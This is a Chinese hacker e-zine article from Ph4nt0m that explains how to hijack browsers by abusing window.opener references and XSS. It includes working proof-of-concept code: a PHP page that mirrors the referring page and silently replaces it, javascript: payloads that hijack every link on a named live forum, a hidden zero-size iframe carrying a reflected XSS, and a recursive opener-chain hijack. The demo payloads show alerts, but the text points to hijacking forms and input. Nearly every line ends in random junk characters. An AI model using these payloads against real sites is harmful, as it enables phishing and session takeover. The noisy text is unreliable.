==Ph4nt0m Security Team==
) Y, z7 ` V# k( z- n. m6 k
9 q4 O9 c& t( S7 t& ~% N r Issue 0x03, Phile #0x05 of 0x07
, i# f! `/ ~: q- b& c ; W, A1 G/ y% @6 ^, d+ r; v( t
* p" N. B: J' ~% y% r
|=---------------------------------------------------------------------------=|. q& W. d! i1 R
|=---------------=[ 利用窗口引用漏洞和XSS漏洞实现浏览器劫持 ]=---------------=|5 G9 D2 \4 Y7 ]% \
|=---------------------------------------------------------------------------=|
! V5 _" G/ t1 i' s" e* ?$ ~|=---------------------------------------------------------------------------=|
' e2 a: |# g6 r|=------------------------=[ By rayh4c ]=---------------------------=|: V- {: V% d3 V2 D# i) Y6 n
|=----------------------=[ <rayh4c#80sec.com> ]=------------------------=|6 q8 M! |2 M7 |
|=---------------------------------------------------------------------------=|* a1 P# [$ K) r1 [/ ] ^4 y' L; O
) y/ Y# z/ S* a6 Y1 X2 P8 y5 a/ l5 O, N! |
[目录] I( X' I/ _; {) f7 o
/ X% a1 m0 A# I# n: C( m- ~
1. 前言
" N5 N( q3 L, G! W4 x# x- }2 L, N2. 同源策略简叙
; W& M1 X/ Y$ }% J! ]! E. b3. 理解window对象的同源策略/ v8 V/ T1 y f# c6 c4 M; i7 w
4. 窗口引用功能中的同源策略漏洞
- n! @: ]8 x- h9 G. u8 Y, Q* x 4.1 父窗口引用子窗口的同源策略问题3 D0 w9 m7 n8 h2 D2 O) d) Z$ V0 b1 ~
4.2 子窗口引用父窗口的同源策略问题0 ]+ t( _, z! ?, l" @7 H
5. 利用窗口引用漏洞劫持浏览器
2 k H2 \5 f/ [* S! x9 O6. 利用XSS漏洞劫持浏览器
l, Z5 c1 W) O# W 6.1 正向跨窗口劫持, p. I/ d) w6 I/ l6 [/ \
6.2 反向跨窗口劫持
D) T: t+ R6 ^3 q+ _6 i. r 6.3 极度危险的跨框架窗口引用劫持# R. t- j: ]# L7 r% }& f6 F
6.4 极度危险的正反向跨窗口递归劫持
4 [2 \+ T% Z8 h6 \1 x) g% k 6.5 完全控制浏览器2 V2 B3 v5 E G
7. 后记( D- Z* l4 u# e% b
8. 参考
# p2 i- I& ~' P! ?' k, W* C$ M3 q! ^9 N& ^6 J
# o5 \3 F" [& p2 c一、前言/ M+ @/ Q1 F1 ~5 q3 p( u$ G
+ |' `$ ?/ T+ @4 p( e 最近国内关于XSS漏洞的技术文档都比较少,所以决定写这篇文档,其中的很多细节和朋
' |3 Z. V6 y7 y' B" P友们都沟通讨论很久了,其中包括了我对浏览器同源策略和XSS的一些理解。XSS漏洞从Session7 w7 e! \7 W6 a, [6 g7 h
劫持、钓鱼、XSS WORM等主流攻击方式发展到现在,告诉了大家一个真正的跨站师是不会被5 X0 D. n* N. [
条条框框所束缚,跨站师们在不断的创新,跨站师们会展示XSS漏洞的所有可能。, K5 w) }* c" P6 P, s
) d e' s8 p. Q, A" h+ ^/ w: m
# ]) E* ~. E6 H; s' R二、同源策略简叙
+ S4 m. r/ \/ l0 ~8 @
7 X g0 L8 l+ M- u 同源策略是浏览器的安全基础,它是浏览器支持的客户端脚本的重要安全标准,我们可以+ k5 u6 ^- z2 I; a4 j' O
从“源”上了解这一安全标准,按照W3C的标准这个“源”包括域名、协议和端口,各大浏览器都
& B: J: r0 ~8 u7 {9 F8 H曾爆出过很多同源策略漏洞,危害程度各有不同,比如从06年开始流行至今的MS06-014网页木
J/ B1 V9 P4 E# O0 F a! N) F马漏洞都已经完全颠覆了同源策略。这次的文档主要说的是DOM的同源策略(参考2)中的一个3 \2 t0 c* z. X# M
漏洞,然后从漏洞引申到XSS漏洞如何利用DOM的同源策略特性,最终实现浏览器劫持。! {1 \8 `! r2 t1 @
' z& @! F6 t6 S) X3 e
$ W/ q# Z; s$ C) ^% V/ H# S/ i5 u三、理解window对象的同源策略
( t i' E5 F" J2 `9 P, a% l( z9 d& ?3 Q# U' q
窗口即指的是浏览器窗口,每个浏览器窗口都可以使用window对象实例来表示,window对
& u3 j+ P- \5 b b6 r* A ?象有很多属性和方法,写一个简单的脚本可以历遍出window对象的所有属性和方法:* w! g% k! F6 m) D1 l3 t/ s; i
. S3 g X+ z7 I) a
--code-------------------------------------------------------------------------' E" \, e! O, U$ F
<script language="javascript">' P1 K( h3 g$ ]% U* m. T8 K' Y
for(p in window) document.write(p+"<br>");
& x0 P0 {* a1 W# j0 j5 b</script>
C" N2 f! v$ |% q) G2 [& G! K-------------------------------------------------------------------------------
}& [) X+ a3 Z# t0 W5 X
1 x' o8 V; j' Y* Y5 i# ^% v& E 这些window对象的属性和方法可以改变窗口的外观和窗口网页的内容,当这些属性和方
1 J) X, D3 a% U法只在一个窗口中使用并不会凸显出安全问题,但是当多个window对象开始互相引用的时候,
1 q' b4 _0 T0 y2 s这些属性和方法就必须遵循同源策略。4 B6 q% S2 x! J
/ H9 W* j8 r* B, T' T3 b! s. Z/ K
举一个简单的例子,如果在a.com的网页可以调用b.com网页window对象的属性和方法,那
K8 A$ Y9 B& q) {9 p: s" ?么跨站师就可以随便XSS互联网上任何一个网站了,所以为了避免安全问题,同源策略是必须% _# G0 B/ l7 P
的。我们可以把下面的脚本保存为demo.html到本地打开或者丢到远程服务器上进行测试,这( s! ^3 q' o) R2 o. `
个脚本的效果是调用不同源的子窗口window对象的属性和方法,我们会发现location属性的7 U2 t$ q+ m3 q
值类型是空白的,这种情况太特殊了,说明不同源的父窗口引用子窗口window对象的location
8 z! _7 k/ y8 d+ N属性并没有被拒绝访问。
8 @: f) s. b# `
2 k# U3 D. S6 `+ v& I--demo.html--------------------------------------------------------------------
7 z$ M3 l: O6 I- |( B6 p# n<script language="javascript"> . B- f* V7 g1 p& Z, N# K
function allPrpos(obj) {
1 C1 \4 {$ A+ I3 i W, g5 f! o# H var props = "<table><tr><td>名称</td><td>值</td>";
1 X$ Q: W/ T0 {4 B" O9 N for(var p in obj){
4 h8 g" T# M" Y$ v if(typeof(obj[p])=="function"){
) P( v+ d5 `5 c obj[p](); 0 ^7 d2 n; [& W( X: A/ A- [
}else{
2 R. }1 I0 p+ |5 _. C, V7 {+ M try 2 J/ t. l9 V0 s
{
, q6 A5 {9 T" }4 L' ` ]# y props+="<tr><td>"+p + "</td><td>" + obj[ p ] + "</td></tr>";
* @6 P) v. ]( b+ A5 |% h6 h' H8 n } & {! r0 D) H8 ?; p( w, ~* P
catch (ex)
1 S" Y; w/ K( n {
$ d1 z8 s2 g0 r4 s! m9 o: x6 x4 Q. e / Z+ B4 @: L4 N3 W8 ?0 c6 V1 }& |
props+= "<tr><td>"+p + "</td><td>" +ex.message+"</td></tr>"; ; t5 K A( O( X) ?9 G
}
5 i7 y' g+ L. T( |3 [' ?; q+ O5 g! L* F5 P # W% a$ t/ b. h- @! {: F
} & e# p# }# A- u U( w4 [
} / Y: j! _% ]% I t4 Q, O' ~' p
1 ]- a' s r4 C; N. \ document.write(props+"</table>");
/ c4 @1 h+ U: U: H} s; X# C& T. T6 _
6 u7 i/ _9 v) _& bfunction createWin() {
. [8 Y$ x" ?# o newWin = window.open ("http://www.google.com");
8 P+ G1 R6 V q! W0 H setTimeout(function(){allPrpos(newWin)},2000); : q( \8 L4 w! u. k1 F$ r2 @9 t
} $ S- x& a# e5 {' D: {1 T6 A7 F3 v
7 |! a) T9 s4 d$ |
</script> 1 N% F8 J, C% ?" m
. `/ z" u0 P4 J# G- X
<button onclick='createWin()'>创建一个非同源子窗口测试</button>: m0 [0 E8 a0 q2 L
-------------------------------------------------------------------------------1 a$ E- K/ z5 W$ s& n& e
2 T3 D7 L2 |* \8 V4 Y' d
4 L4 m, t; k9 h3 u
四、窗口引用功能中的同源策略漏洞& I9 S" g& [) C" n, f
. v9 r5 ]6 M7 q7 C. M* _0 |' S
4.1 父窗口引用子窗口的同源策略问题
+ U) R U8 h) V- P; R; x
3 a9 G& V$ }* k* Z$ | 去年我在幻影杂志发过的IE6跨域脚本漏洞,这个问题微软已经发布了ms08-058补丁修复," }! V* w) y$ {; ]) f- l& d0 h
但这个漏洞仍然暴露了父窗口引用子窗口的同源策略问题。根据第二部分的测试,我们知道
/ K+ W& O( d/ c& W9 a% D/ _- Y F浏览器并没有阻止父窗口访问非同源子窗口的location属性值,我们可以使用下面的脚本进
( J0 P# U9 p9 H8 j, X行测试,会发现父窗口可以控制非同源子窗口location属性值。
7 _5 g# N) Y" Y. d8 e8 b h3 T' Z2 c! S/ T4 B& N4 u
--vul1.html--------------------------------------------------------------------
# S. d2 R1 N& i; ^; h3 `, U9 `<script language="javascript"> ; c9 U$ |0 W4 z& v" p
function createWin() {
$ c- z8 }" W: E4 c7 x newWin = window.open ("http://www.google.com"); 7 R8 Z6 U( Q9 [& w
setTimeout(function(){newWin.location="http://www.80sec.com"},2000);
4 ?/ U3 B: j w6 x# Y" D}
; {1 ?% P; y4 D9 J7 b( I</script>
# s8 g+ s. A. Q0 \
: |( A& p. O7 H; ^<button onclick='createWin()'>创建一个非同源子窗口测试</button>
3 K- Z+ [9 [5 y! z( d5 Q; s-------------------------------------------------------------------------------9 Y7 A) g. e" H3 ?: R8 J* e& d- D9 m6 x/ R
9 D6 V9 l3 N; G' B T
0 `2 S* S, C* E' @
4.2 子窗口引用父窗口的同源策略问题
7 ~; b: P2 `0 J5 x3 u- X4 h! L, N2 [, t, w, y# x! x/ E1 N
逆向测试一次会发现子窗口引用父窗口也存在同样的问题,这里为了更方便和直观我使; v# B$ h7 @- H5 l8 `! a& `! h
用javascript伪协议进行验证。子窗口引用父窗口的window对象属性是window.opener,我们
1 N; K1 ~" R/ M3 `( n可以随意浏览一个网站点击链接打开N个网页,在这些网页的地址栏注入下面的脚本,你一定. F: u0 Q3 N& K
会惊奇的发现,不管同源还是非同源的父窗口都转跳到了80SEC网站。$ ]7 M; s2 C1 i# d
5 E; Q9 M# R: i, i; n0 P! f--code-------------------------------------------------------------------------
* P3 F% I }& U# [7 i0 e% s, J; a* u5 @1 {. j/ {
javascript:window.opener.location = "http://www.80sec.com";void(0);$ n$ [% H+ L( S( c, m6 X# u+ F
6 |( Y) u8 v. U% b# Y
-------------------------------------------------------------------------------
9 C; `+ L+ d9 v' a! p" D( D* C; l' x$ k8 ^* `& d
9 X# [/ O, _) i% ~ g
五、利用窗口引用漏洞劫持浏览器3 W! Q% _7 c# `# P3 |
6 Y& S1 f% c& E. p; D 经过上面三个枯燥的测试,我们已经暴露了浏览器一个非常严重的安全问题,非同源的子2 _* v' M* Q" T; Z( O) ?- g* v) v9 q
窗口和父窗口可以互相引用控制window对象的location属性值,并没有严格遵循同源策略,那
+ ^8 Z- A% o5 p9 @5 N么用户在浏览器中的所有点击行为都有可能被跨站师变相控制。) Z2 x6 C; H1 R3 {/ g U
6 U/ f" O: a+ K1 A$ v 我们打开浏览器访问互联网上的各个网站,无时无刻不在点击链接,我们点击链接想要产
6 v. S' t; S6 F, [5 e生的结果是去访问我们想要去的URL地址,用户的正常点击只会产生两个结果,打开新窗口或9 |* Y% u! D4 n8 X9 X
者当前窗口转跳,试想一下你在SNS网站、电子商务网站、BLOG、论坛里点击一个正常的链接0 H' y4 U* o6 h- d! D0 @) E$ B" p
后,打开了一个“无害”的网页,原本浏览的信任网页却已经被悄悄替换了,大家可以联想一下: c+ v; G; J" @4 M& r. H
会产生什么可怕的后果。" F, V0 r2 S: e$ u/ H6 m, Y# P
0 C# f: [" Y1 T2 a Y/ n9 Q+ J 下面我写了一个劫持浏览器的小Demo,思路是获取REFERER后生成镜像页面,同时加入我8 y# y, d( G; c8 f1 U! \* I* a5 k
们的劫持脚本。比如把这个hjk_ref.php丢到本地服务器上测试,将http://127.0.0.1/hjk_ref.php7 u2 |+ B5 {- n
这样的链接发到任意一个网站上,点击链接打开新窗口,当所有的注意力都停滞在新窗口的时0 {0 T4 n. l$ t* N
候,3秒后一个镜像页面将会悄悄替换链接所在页。按照类似的思路,发挥跨站师的想象力,可
- h0 ^1 K4 m4 ~& Y* R. x' U以做更多的事情,所有的一切仅仅是因为点击了一个链接。
1 J4 R/ E0 s- n# U
5 h4 ]( M3 \5 b! W5 }( O) m* h; S% \--hjk_ref.php------------------------------------------------------------------
" k0 N: F" j9 n- A$ p" ^<?php
/ s( q' ~& d0 [$ V7 |if (array_key_exists("HTTP_REFERER", $_SERVER)) {9 U6 ^6 V, N! ]5 [* _2 R. b$ [
$Url_Mirror = $_SERVER["HTTP_REFERER"];" [5 d3 w* z7 }
} ; l2 G3 @( ? e8 s, ?
if(isset ($_GET['ref'])) {. ?6 A7 f, N( f' M
echo file_get_contents($_GET['ref']) . '<script>alert(\'I had been hijacking your browser!\')</script>';7 H; H0 R' R6 d- x# I
}
7 r% K6 E2 b5 O. F1 T0 I5 N?># ]* Y% D$ S) Z! O% @
$ o, m% `' ~+ [7 t0 ]6 B2 l<script language="javascript">$ O+ ]8 Y# \6 u; F# R
setTimeout(function(){window.opener.location=window.location+"?ref=<?echo $Url_Mirror;?>"},3000); , a, S+ @. i2 R' H: c
</script>+ a( Q P, ]. R( l( ?$ F6 |0 y3 n! e, |
-------------------------------------------------------------------------------1 E8 J! w: m2 [* \! W0 |
/ T3 Z4 N- g3 A$ K9 L 注:各大主流浏览器仅opera和internet explorer 8不存在窗口引用漏洞。
# f1 n, l2 ^2 ?- ~# J% f
1 h- o( m" D2 \5 Q
( G7 K6 r, l9 h: ^+ Y$ N; h( r8 ?六、利用XSS漏洞劫持浏览器
7 n. W" g. U, d5 X$ |$ K7 G% R- v% Z3 F7 z8 D
延续第四部分的思路,这部分将进入本文的一个重要环节.跨站师们都知道XSS漏洞分为
) ~' @0 h C# V3 F持久和非持久两种,这两种类型的漏洞无论怎么利用都无法跳出窗口的生命周期,窗口关闭后: T3 _3 v( f% D- g$ \( \0 ~7 F. E
XSS漏洞的效果也就完全消失,窗口的限制一直束缚着跨站师们的发挥,我这里将和大家一起4 G$ h7 |3 s- W# w( n
讨论跨站师的终极技巧:
4 R8 e# T0 r* j8 h* c( a
3 U1 e" o( t9 _' c. Z/ I+ b/ R6 {
/ y5 _* Y" n0 N- ~, n% R; {( [6.1 正向跨窗口劫持) Q) ]8 H4 B8 b0 u/ J
2 `( o- [* Y$ l! Y4 n3 |/ p1 k
大家可以先试验下hijack_open.js这个脚本,比如打开http://bbs.dvbbs.net/动网论坛- d' D1 Q3 v* t/ d6 |6 u. k
主页,我们在地址栏里复制下面的代码使用伪协议注入hijack_open脚本,然后整个页面的链3 Y. r- |; ~) R, h8 r5 x+ h2 t
接就都被劫持住了,点击论坛里的任意一个链接,打开的新窗口都会被注入了一个alert对话
: w0 K; N/ @& J. ^3 i9 S- W框脚本。 8 a6 |( w6 G5 P' A Y( C0 O* Q
9 g: R" R: z" [
--hijack_open.js---------------------------------------------------------------
5 W: u2 Y# ?$ ]9 {2 l; m# T# m; X; I$ U/ A* G! l, \( T8 ]6 ^) Q {' M
javascript:for(i=0;i<document.links.length;i++){document.links.onclick=function(){x=window.open(this.href);setTimeout(function(){try{x.location="javascript:alert('I had been hijacking your browser!')"}catch(e){};return false;},3000);return false;}};void(0);
( n5 G/ z) F' J0 i2 l+ n8 O* ^6 c% v/ ^: U2 q( J" {* B, n
-------------------------------------------------------------------------------
# E$ G9 G$ L& u) j: t1 P5 T) J; I3 l+ s% O! G
5 F" `( k, @% ^$ S6.2 反向跨窗口劫持+ g6 Y$ u5 g5 ?/ Q
: U3 E. O4 c+ q9 q/ l. o! I* \
同样我们也可以在动网论坛试验,新打开任意一个版块的窗口,在地址栏里复制下面的代
% Z: M# t& |% ?" I4 q9 I码使用伪协议注入hijack_opener脚本,我们会发现原来的页面被反向注入了一个alert对话$ T4 H8 l, J3 I0 r
框脚本。' {- s( g: m# [5 O
8 w/ Z5 t. b. f) o) m
--hijack_opener.js-------------------------------------------------------------. _6 n' k; Y9 w8 e0 i! `2 ^/ h* e
0 `3 X g" ?! U
javascript:window.opener.location="javascript:alert('I had been hijacking your browser!')";void(0);
7 F3 h. y! I, r4 w1 p' k) l* _
" K+ Z. a5 w' V' M: I9 ^7 Y8 G" g-------------------------------------------------------------------------------
! b4 N- L! f7 ?+ e9 D3 d0 B3 a
7 v1 ~3 s/ L6 H2 r4 j" t
0 Y( S* y6 `( {: F6.3 极度危险的跨框架窗口引用劫持
j& Y5 P3 {0 P! g9 ?8 \- ~0 ?" E7 f
非持久型XSS漏洞是在URL参数中注入脚本,一度被认为很鸡肋,一个非持久型的XSS漏洞) u$ y' [# _: I. T' U% B' u
可能出现URL参数过于冗长等缺点,下面这个window.parent.opener的跨框架窗口引用技巧就
5 T0 Q9 W. T; I# P3 m适用于所有的非持久型XSS漏洞,我们可以在一个被攻击者的信任网站上的网页里iframe一个0 m( a, G$ \3 T% y5 [: y
非持久型的XSS,如下:' _' ~% `# P) G: L4 l# O* h
7 ^9 e* T* H" X! S: t% W<iframe src='http://www.target.com/index.php?vul=xss'width='0' height='0'>
, V4 C" l: _# h
. w2 D% d# W- G 在vul参数中写入下面的hijack_frame_opener脚本,跨站师就可以反向跨框架引用窗口( W; m) @# D; F, T
注入脚本。
2 H* F( U' x9 D) g4 E" ~( f7 f- k6 d; y
--hijack_frame_opener.js-------------------------------------------------------
. f- L" I5 Z4 ~; {: O<script>
& }2 `7 Z3 x& }5 }) Jwindow.parent.opener.location="javascript:alert('I had been hijacking your browser!')";; B' W/ c, A0 h: |9 U
</script>
: c" l& T& r( k; J) t* K- q4 u. F-------------------------------------------------------------------------------
) I& C8 Q/ \) w5 z% s
^6 X7 P! R" K2 G9 i; m) u% \2 F' E3 D% }, U1 b) e
6.4 极度危险的正反向跨窗口递归劫持
6 g6 ]6 j. w J, b* E$ L" m/ v+ ~7 x3 [# P: {% p( k
luoluo建议我加上了这一部分,窗口之间的引用关系可能是复杂的,我们可以通过window
4 t y4 d; J, J: Z) W6 f2 @的opener属性链反向递归查找窗口注入XSS脚本,将互相引用过的同域窗口全部劫持,并通过
) \& G: c) r, \/ }$ X9 t: W# F0 M6 H异常处理规避之间跨域页面的访问异常,代码如下:
' f" ~ X8 b p- K0 s1 R3 E2 u& A' ]' m, }
--code-------------------------------------------------------------------------
7 ~% X% O( m' j% O$ F% X6 p
$ q h! W" @# K' Cjavascript function(){var w=window;while(w.opener){w=w.opener;try{w.location="javascript:alert('I had been hijacking your browser!');void(1);";}catch(e){}}})();void(0);7 V, ]$ ~5 S6 ~* J5 R2 |5 H
{! g* ]0 y' O4 ~7 x
-------------------------------------------------------------------------------, [# G8 |# l% q6 y
/ n( c4 ^( S+ c. u 假设页面打开序列有A域->B域->A域的情况,通过对第二个A域页面的反向递归劫持则可1 g/ k; Z* X" X* ~
以劫持B域之前的A域页面,从而实现“隔空打击”。
: p# q* } E" A- \7 F
$ e. H5 e& E, v; A$ e3 u 同理,正向跨窗口劫持也可以实现递归劫持所有同域的链接,对每个打开的被劫持的页面7 t8 q; h& a V! f5 j
执行和第一个页面一样的劫持脚本,但是正向递归没法实现反向递归的那种“隔空打击”。
" b9 r! o$ y) S+ f" [3 O7 L3 R- ~3 j" U4 ?' f3 u4 ^4 H6 O
结合正向和反向的链式递归劫持,最终我们可以劫持所有的同域页面。* }1 [: G$ {: j$ |' W
8 L' S X j, s$ ]# ?6 I
- w# ?7 U8 |6 M3 K9 @
6.5 完全控制浏览器
: ?5 O4 L% I8 H- m/ g, l4 Z0 f' a5 @" R
一个跨站脚本漏洞的真正意义在程序员的角度是输入和输出问题,而在跨站师的角度则. {# D. r$ V/ x' P
是能够进入同源策略了,可以摆脱同源策略的束缚做任何想做的事情。跨站师们可以利用XSS. c7 |5 X/ y* |1 D
漏洞在同源策略允许的范围内再跨页面注入脚本,可以不再为窗口关闭后XSS漏洞的效果消失
) q9 d& L( a1 ^/ {, i! Q而烦恼,劫持窗口后的跨站师们可以任意发挥,劫持表单,劫持请求,劫持输入等等,我就不再
: {# Z8 y, ?' [9 H- c) D& {- e列举实例。无论是持久型还是非持久型的XSS漏洞都是能够发挥最大的威力的,最后实现跨站& T. E- e" [, [8 {4 H
师的终极目标 - 完全控制浏览器。) C: i4 q# X: ?, P
2 ?/ d4 l% w7 p" J4 Z
* S g$ d- g: |! h七、后记) M# ]) J" M$ w( q0 v4 |
$ b, r% f+ Z" v3 n% f 文章涉及的安全技术全部都是纯研究性质,请不要将这些技术使用在非法途径上。安全
$ i' S- X! K! a, y6 K: n与应用永远是一个矛盾体,通往安全的路永远不止一条。感谢对这篇文档的思路和技术给予8 A- N1 v& G7 n- h3 n1 X H
过帮助的luoluo、cnqing、linx以及80Sec团队的所有成员。0 z# \2 D7 F- E$ q8 f8 S [
8 O4 Q* a# o ]
9 g# p& h& U2 ^0 x3 w& T$ z
八、参考0 i/ N: ]( x b+ k N/ H6 C
2 H9 d& S9 d+ l0 G
1. http://en.wikipedia.org/wiki/Same_origin_policy- q& A( P7 y; G4 C/ z$ x1 Y8 `
2. http://code.google.com/p/browser ... licy_for_DOM_access; {9 x* X# E$ I [ M& x
3. http://www.w3.org/TR/Window/8 V6 r9 W* L4 A+ E2 N- m+ L
4. http://www.80sec.com/release/browser-hijacking.txt3 T# i2 W+ O9 ?5 i+ Z- K
5. http://www.80sec.com/all-browser-security-alert.html
/ \5 f) ^7 y2 m9 y4 `6. http://www.80sec.com/ms08-058-attacks-google.html4 ?7 B! M. ?9 r$ w* C, z
z9 H( N6 N+ p8 H7 n4 t
-EOF- |